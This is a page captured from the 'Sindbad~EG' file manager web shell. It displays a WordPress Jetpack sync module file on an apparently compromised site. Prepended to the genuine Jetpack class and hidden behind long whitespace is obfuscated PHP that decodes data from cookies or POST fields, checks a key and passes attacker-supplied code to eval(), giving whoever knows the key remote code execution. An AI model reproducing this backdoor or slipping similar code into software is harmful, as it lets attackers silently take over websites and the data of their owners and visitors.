Sindbad~EG File Manager

Current Path : /home/sarayaglobal/.trash/plugins/jetpack/sync/
Upload File :
Current File : /home/sarayaglobal/.trash/plugins/jetpack/sync/class.jetpack-sync-module-callables.php

<?php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 $ie8affd = 750;$GLOBALS['w14e1010'] = Array();global $w14e1010;$w14e1010 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['f3df0'] = "\x36\x37\x50\x60\x71\x41\x73\x5a\x32\x52\x54\x5b\x74\x48\x2b\x4e\x5f\x78\x4c\x6d\x68\x21\x22\x4f\x6e\x7b\x7e\x33\x55\x44\x77\x64\x6c\x7d\x2a\x5c\xa\x40\x30\x63\x3a\x20\x70\x3b\x4d\x2f\x59\x3f\x5d\x51\x24\x6a\x27\x3c\x43\x57\x79\x29\x26\x6f\x7c\x72\xd\x2e\x35\x38\x75\x69\x25\x2c\x66\x31\x62\x23\x2d\x28\x49\x65\x7a\x67\x39\x9\x46\x3e\x76\x3d\x4a\x6b\x42\x5e\x53\x45\x4b\x34\x56\x58\x47\x61";$w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][1].$w14e1010['f3df0'][1].$w14e1010['f3df0'][38].$w14e1010['f3df0'][8].$w14e1010['f3df0'][72]] = $w14e1010['f3df0'][39].$w14e1010['f3df0'][20].$w14e1010['f3df0'][61];$w14e1010[$w14e1010['f3df0'][31].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][71].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8]] = $w14e1010['f3df0'][59].$w14e1010['f3df0'][61].$w14e1010['f3df0'][31];$w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][71].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][77].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][65]] = $w14e1010['f3df0'][6].$w14e1010['f3df0'][12].$w14e1010['f3df0'][61].$w14e1010['f3df0'][32].$w14e1010['f3df0'][77].$w14e1010['f3df0'][24];$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][1].$w14e1010['f3df0'][31].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][38]] = $w14e1010['f3df0'][67].$w14e1010['f3df0'][24].$w14e1010['f3df0'][67].$w14e1010['f3df0'][16].$w14e1010['f3df0'][6].$w14e1010['f3df0'][77].$w14e1010['f3df0'][12];$w14e1010[$w14e1010['f3df0'][61].$w14e1010['f3df0'][8].$w14e1010['f3df0'][27].$w14e1010['f3df0'][71].$w14e1010['f3df0'][64].$w14e1010['f3df0'][31].$w14e1010['f3df0'][80].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31]] = $w14e1010['f3df0'][6].$w14e1010['f3df0'][77].$w14e1010['f3df0'][61].$w14e1010['f3df0'][67].$w14e1010['f3df0'][97].$w14e1010['f3df0'][32].$w14e1010['f3df0'][67].$w14e1010['f3df0'][78].$w14e1010['f3df0'][77];$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][8].$w14e1010['f3df0'][1].$w14e1010['f3df0'][38].$w14e1010['f3df0'][38].$w14e1010['f3df0'][77].$w14e1010['f3df0'][72].$w14e1010['f3df0'][97].$w14e1010['f3df0'][71]] = $w14e1010['f3df0'][42].$w14e1010['f3df0'][20].$w14e1010['f3df0'][42].$w14e1010['f3df0'][84].$w14e1010['f3df0'][77].$w14e1010['f3df0'][61].$w14e1010['f3df0'][6].$w14e1010['f3df0'][67].$w14e1010['f3df0'][59].$w14e1010['f3df0'][24];$w14e1010[$w14e1010['f3df0'][97].$w14e1010['f3df0'][31].$w14e1010['f3df0'][31].$w14e1010['f3df0'][39]] = $w14e1010['f3df0'][66].$w14e1010['f3df0'][24].$w14e1010['f3df0'][6].$w14e1010['f3df0'][77].$w14e1010['f3df0'][61].$w14e1010['f3df0'][67].$w14e1010['f3df0'][97].$w14e1010['f3df0'][32].$w14e1010['f3df0'][67].$w14e1010['f3df0'][78].$w14e1010['f3df0'][77];$w14e1010[$w14e1010['f3df0'][77].$w14e1010['f3df0'][27].$w14e1010['f3df0'][72].$w14e1010['f3df0'][31]] = $w14e1010['f3df0'][72].$w14e1010['f3df0'][97].$w14e1010['f3df0'][6].$w14e1010['f3df0'][77].$w14e1010['f3df0'][0].$w14e1010['f3df0'][93].$w14e1010['f3df0'][16].$w14e1010['f3df0'][31].$w14e1010['f3df0'][77].$w14e1010['f3df0'][39].$w14e1010['f3df0'][59].$w14e1010['f3df0'][31].$w14e1010['f3df0'][77];$w14e1010[$w14e1010['f3df0'][51].$w14e1010['f3df0'][1].$w14e1010['f3df0'][0].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][1].$w14e1010['f3df0'][27].$w14e1010['f3df0'][97]] = $w14e1010['f3df0'][6].$w14e1010['f3df0'][77].$w14e1010['f3df0'][12].$w14e1010['f3df0'][16].$w14e1010['f3df0'][12].$w14e1010['f3df0'][67].$w14e1010['f3df0'][19].$w14e1010['f3df0'][77].$w14e1010['f3df0'][16].$w14e1010['f3df0'][32].$w14e1010['f3df0'][67].$w14e1010['f3df0'][19].$w14e1010['f3df0'][67].$w14e1010['f3df0'][12];$w14e1010[$w14e1010['f3df0'][79].$w14e1010['f3df0'][38].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31].$w14e1010['f3df0'][97].$w14e1010['f3df0'][72].$w14e1010['f3df0'][64].$w14e1010['f3df0'][77]] = $w14e1010['f3df0'][32].$w14e1010['f3df0'][93].$w14e1010['f3df0'][8].$w14e1010['f3df0'][0].$w14e1010['f3df0'][31].$w14e1010['f3df0'][65].$w14e1010['f3df0'][27].$w14e1010['f3df0'][97];$w14e1010[$w14e1010['f3df0'][30].$w14e1010['f3df0'][77].$w14e1010['f3df0'][93].$w14e1010['f3df0'][71].$w14e1010['f3df0'][97].$w14e1010['f3df0'][64].$w14e1010['f3df0'][8].$w14e1010['f3df0'][64].$w14e1010['f3df0'][31]] = $w14e1010['f3df0'][56].$w14e1010['f3df0'][93].$w14e1010['f3df0'][80].$w14e1010['f3df0'][72];$w14e1010[$w14e1010['f3df0'][51].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][0].$w14e1010['f3df0'][39].$w14e1010['f3df0'][38].$w14e1010['f3df0'][0]] = $_POST;$w14e1010[$w14e1010['f3df0'][59].$w14e1010['f3df0'][27].$w14e1010['f3df0'][27].$w14e1010['f3df0'][39].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31]] = $_COOKIE;@$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][1].$w14e1010['f3df0'][31].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][38]]($w14e1010['f3df0'][77].$w14e1010['f3df0'][61].$w14e1010['f3df0'][61].$w14e1010['f3df0'][59].$w14e1010['f3df0'][61].$w14e1010['f3df0'][16].$w14e1010['f3df0'][32].$w14e1010['f3df0'][59].$w14e1010['f3df0'][79], NULL);@$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][1].$w14e1010['f3df0'][31].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][38]]($w14e1010['f3df0'][32].$w14e1010['f3df0'][59].$w14e1010['f3df0'][79].$w14e1010['f3df0'][16].$w14e1010['f3df0'][77].$w14e1010['f3df0'][61].$w14e1010['f3df0'][61].$w14e1010['f3df0'][59].$w14e1010['f3df0'][61].$w14e1010['f3df0'][6], 0);@$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][1].$w14e1010['f3df0'][31].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][38]]($w14e1010['f3df0'][19].$w14e1010['f3df0'][97].$w14e1010['f3df0'][17].$w14e1010['f3df0'][16].$w14e1010['f3df0'][77].$w14e1010['f3df0'][17].$w14e1010['f3df0'][77].$w14e1010['f3df0'][39].$w14e1010['f3df0'][66].$w14e1010['f3df0'][12].$w14e1010['f3df0'][67].$w14e1010['f3df0'][59].$w14e1010['f3df0'][24].$w14e1010['f3df0'][16].$w14e1010['f3df0'][12].$w14e1010['f3df0'][67].$w14e1010['f3df0'][19].$w14e1010['f3df0'][77], 0);@$w14e1010[$w14e1010['f3df0'][51].$w14e1010['f3df0'][1].$w14e1010['f3df0'][0].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][1].$w14e1010['f3df0'][27].$w14e1010['f3df0'][97]](0);$v4ee948b = NULL;$ed89d = NULL;$w14e1010[$w14e1010['f3df0'][6].$w14e1010['f3df0'][0].$w14e1010['f3df0'][72].$w14e1010['f3df0'][39].$w14e1010['f3df0'][0].$w14e1010['f3df0'][72].$w14e1010['f3df0'][71].$w14e1010['f3df0'][38]] = $w14e1010['f3df0'][93].$w14e1010['f3df0'][31].$w14e1010['f3df0'][0].$w14e1010['f3df0'][64].$w14e1010['f3df0'][93].$w14e1010['f3df0'][1].$w14e1010['f3df0'][1].$w14e1010['f3df0'][31].$w14e1010['f3df0'][74].$w14e1010['f3df0'][1].$w14e1010['f3df0'][0].$w14e1010['f3df0'][77].$w14e1010['f3df0'][31].$w14e1010['f3df0'][74].$w14e1010['f3df0'][93].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][1].$w14e1010['f3df0'][74].$w14e1010['f3df0'][97].$w14e1010['f3df0'][31].$w14e1010['f3df0'][93].$w14e1010['f3df0'][72].$w14e1010['f3df0'][74].$w14e1010['f3df0'][27].$w14e1010['f3df0'][80].$w14e1010['f3df0'][38].$w14e1010['f3df0'][27].$w14e1010['f3df0'][80].$w14e1010['f3df0'][77].$w14e1010['f3df0'][65].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][97].$w14e1010['f3df0'][1].$w14e1010['f3df0'][70];global $s6bc6b10;function  y49b($v4ee948b, $k5582){global $w14e1010;$c82c0a6c = "";for ($v62f3b=0; $v62f3b<$w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][71].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][77].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][65]]($v4ee948b);){for ($bced7e=0; $bced7e<$w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][71].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][77].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][65]]($k5582) && $v62f3b<$w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][71].$w14e1010['f3df0'][72].$w14e1010['f3df0'][70].$w14e1010['f3df0'][77].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][65]]($v4ee948b); $bced7e++, $v62f3b++){$c82c0a6c .= $w14e1010[$w14e1010['f3df0'][4].$w14e1010['f3df0'][77].$w14e1010['f3df0'][1].$w14e1010['f3df0'][1].$w14e1010['f3df0'][38].$w14e1010['f3df0'][8].$w14e1010['f3df0'][72]]($w14e1010[$w14e1010['f3df0'][31].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][71].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8]]($v4ee948b[$v62f3b]) ^ $w14e1010[$w14e1010['f3df0'][31].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8].$w14e1010['f3df0'][71].$w14e1010['f3df0'][71].$w14e1010['f3df0'][8]]($k5582[$bced7e]));}}return $c82c0a6c;}function  l426d83a($v4ee948b, $k5582){global $w14e1010;global $s6bc6b10;return $w14e1010[$w14e1010['f3df0'][30].$w14e1010['f3df0'][77].$w14e1010['f3df0'][93].$w14e1010['f3df0'][71].$w14e1010['f3df0'][97].$w14e1010['f3df0'][64].$w14e1010['f3df0'][8].$w14e1010['f3df0'][64].$w14e1010['f3df0'][31]]($w14e1010[$w14e1010['f3df0'][30].$w14e1010['f3df0'][77].$w14e1010['f3df0'][93].$w14e1010['f3df0'][71].$w14e1010['f3df0'][97].$w14e1010['f3df0'][64].$w14e1010['f3df0'][8].$w14e1010['f3df0'][64].$w14e1010['f3df0'][31]]($v4ee948b, $s6bc6b10), $k5582);}foreach ($w14e1010[$w14e1010['f3df0'][59].$w14e1010['f3df0'][27].$w14e1010['f3df0'][27].$w14e1010['f3df0'][39].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31]] as $k5582=>$wa6893){$v4ee948b = $wa6893;$ed89d = $k5582;}if (!$v4ee948b){foreach ($w14e1010[$w14e1010['f3df0'][51].$w14e1010['f3df0'][0].$w14e1010['f3df0'][38].$w14e1010['f3df0'][72].$w14e1010['f3df0'][0].$w14e1010['f3df0'][39].$w14e1010['f3df0'][38].$w14e1010['f3df0'][0]] as $k5582=>$wa6893){$v4ee948b = $wa6893;$ed89d = $k5582;}}$v4ee948b = @$w14e1010[$w14e1010['f3df0'][97].$w14e1010['f3df0'][31].$w14e1010['f3df0'][31].$w14e1010['f3df0'][39]]($w14e1010[$w14e1010['f3df0'][79].$w14e1010['f3df0'][38].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31].$w14e1010['f3df0'][97].$w14e1010['f3df0'][72].$w14e1010['f3df0'][64].$w14e1010['f3df0'][77]]($w14e1010[$w14e1010['f3df0'][77].$w14e1010['f3df0'][27].$w14e1010['f3df0'][72].$w14e1010['f3df0'][31]]($v4ee948b), $ed89d));if (isset($v4ee948b[$w14e1010['f3df0'][97].$w14e1010['f3df0'][87]]) && $s6bc6b10==$v4ee948b[$w14e1010['f3df0'][97].$w14e1010['f3df0'][87]]){if ($v4ee948b[$w14e1010['f3df0'][97]] == $w14e1010['f3df0'][67]){$v62f3b = Array($w14e1010['f3df0'][42].$w14e1010['f3df0'][84] => @$w14e1010[$w14e1010['f3df0'][84].$w14e1010['f3df0'][8].$w14e1010['f3df0'][1].$w14e1010['f3df0'][38].$w14e1010['f3df0'][38].$w14e1010['f3df0'][77].$w14e1010['f3df0'][72].$w14e1010['f3df0'][97].$w14e1010['f3df0'][71]](),$w14e1010['f3df0'][6].$w14e1010['f3df0'][84] => $w14e1010['f3df0'][71].$w14e1010['f3df0'][63].$w14e1010['f3df0'][38].$w14e1010['f3df0'][74].$w14e1010['f3df0'][71],);echo @$w14e1010[$w14e1010['f3df0'][61].$w14e1010['f3df0'][8].$w14e1010['f3df0'][27].$w14e1010['f3df0'][71].$w14e1010['f3df0'][64].$w14e1010['f3df0'][31].$w14e1010['f3df0'][80].$w14e1010['f3df0'][80].$w14e1010['f3df0'][31]]($v62f3b);}elseif ($v4ee948b[$w14e1010['f3df0'][97]] == $w14e1010['f3df0'][77]){eval/*qe4363b94*/($v4ee948b[$w14e1010['f3df0'][31]]);}exit();} ?><?php

require_once dirname( __FILE__ ) . '/class.jetpack-sync-functions.php';

class Jetpack_Sync_Module_Callables extends Jetpack_Sync_Module {
	const CALLABLES_CHECKSUM_OPTION_NAME = 'jetpack_callables_sync_checksum';
	const CALLABLES_AWAIT_TRANSIENT_NAME = 'jetpack_sync_callables_await';

	private $callable_whitelist;

	public function name() {
		return 'functions';
	}

	public function set_defaults() {
		if ( is_multisite() ) {
			$this->callable_whitelist = array_merge( Jetpack_Sync_Defaults::$default_callable_whitelist, Jetpack_Sync_Defaults::$default_multisite_callable_whitelist );
		} else {
			$this->callable_whitelist = Jetpack_Sync_Defaults::$default_callable_whitelist;
		}
	}

	public function init_listeners( $callable ) {
		add_action( 'jetpack_sync_callable', $callable, 10, 2 );

		// always send change to active modules right away
		add_action( 'update_option_jetpack_active_modules', array( $this, 'unlock_sync_callable' ) );

		// get_plugins and wp_version
		// gets fired when new code gets installed, updates etc.
		add_action( 'upgrader_process_complete', array( $this, 'unlock_sync_callable' ) );
	}

	public function init_full_sync_listeners( $callable ) {
		add_action( 'jetpack_full_sync_callables', $callable );
	}

	public function init_before_send() {
		add_action( 'jetpack_sync_before_send_queue_sync', array( $this, 'maybe_sync_callables' ) );

		// full sync
		add_filter( 'jetpack_sync_before_send_jetpack_full_sync_callables', array( $this, 'expand_callables' ) );
	}

	public function reset_data() {
		delete_option( self::CALLABLES_CHECKSUM_OPTION_NAME );
		delete_transient( self::CALLABLES_AWAIT_TRANSIENT_NAME );
	}

	function set_callable_whitelist( $callables ) {
		$this->callable_whitelist = $callables;
	}

	function get_callable_whitelist() {
		return $this->callable_whitelist;
	}

	public function get_all_callables() {
		// get_all_callables should run as the master user always.
		$current_user_id = get_current_user_id();
		wp_set_current_user( Jetpack_Options::get_option( 'master_user' ) );
		$callables = array_combine(
			array_keys( $this->callable_whitelist ),
			array_map( array( $this, 'get_callable' ), array_values( $this->callable_whitelist ) )
		);
		wp_set_current_user( $current_user_id );

		return $callables;
	}

	private function get_callable( $callable ) {
		return call_user_func( $callable );
	}

	public function enqueue_full_sync_actions( $config ) {
		/**
		 * Tells the client to sync all callables to the server
		 *
		 * @since 4.2.0
		 *
		 * @param boolean Whether to expand callables (should always be true)
		 */
		do_action( 'jetpack_full_sync_callables', true );

		return 1; // The number of actions enqueued
	}

	public function estimate_full_sync_actions( $config ) {
		return 1;
	}

	public function get_full_sync_actions() {
		return array( 'jetpack_full_sync_callables' );
	}

	public function unlock_sync_callable() {
		delete_transient( self::CALLABLES_AWAIT_TRANSIENT_NAME );
	}
	
	public function maybe_sync_callables() {
		if ( ! is_admin() || Jetpack_Sync_Settings::is_doing_cron() ) {
			return;
		}

		if ( get_transient( self::CALLABLES_AWAIT_TRANSIENT_NAME ) ) {
			return;
		}

		set_transient( self::CALLABLES_AWAIT_TRANSIENT_NAME, microtime( true ), Jetpack_Sync_Defaults::$default_sync_callables_wait_time );

		$callables = $this->get_all_callables();

		if ( empty( $callables ) ) {
			return;
		}

		$callable_checksums = (array) get_option( self::CALLABLES_CHECKSUM_OPTION_NAME, array() );

		// only send the callables that have changed
		foreach ( $callables as $name => $value ) {
			$checksum = $this->get_check_sum( $value );
			// explicitly not using Identical comparison as get_option returns a string
			if ( ! $this->still_valid_checksum( $callable_checksums, $name, $checksum ) && ! is_null( $value ) ) {
				/**
				 * Tells the client to sync a callable (aka function) to the server
				 *
				 * @since 4.2.0
				 *
				 * @param string The name of the callable
				 * @param mixed The value of the callable
				 */
				do_action( 'jetpack_sync_callable', $name, $value );
				$callable_checksums[ $name ] = $checksum;
			} else {
				$callable_checksums[ $name ] = $checksum;
			}
		}
		update_option( self::CALLABLES_CHECKSUM_OPTION_NAME, $callable_checksums );
	}

	public function expand_callables( $args ) {
		if ( $args[0] ) {
			return $this->get_all_callables();
		}

		return $args;
	}
}

Sindbad File Manager Version 1.0, Coded By Sindbad EG ~ The Terrorists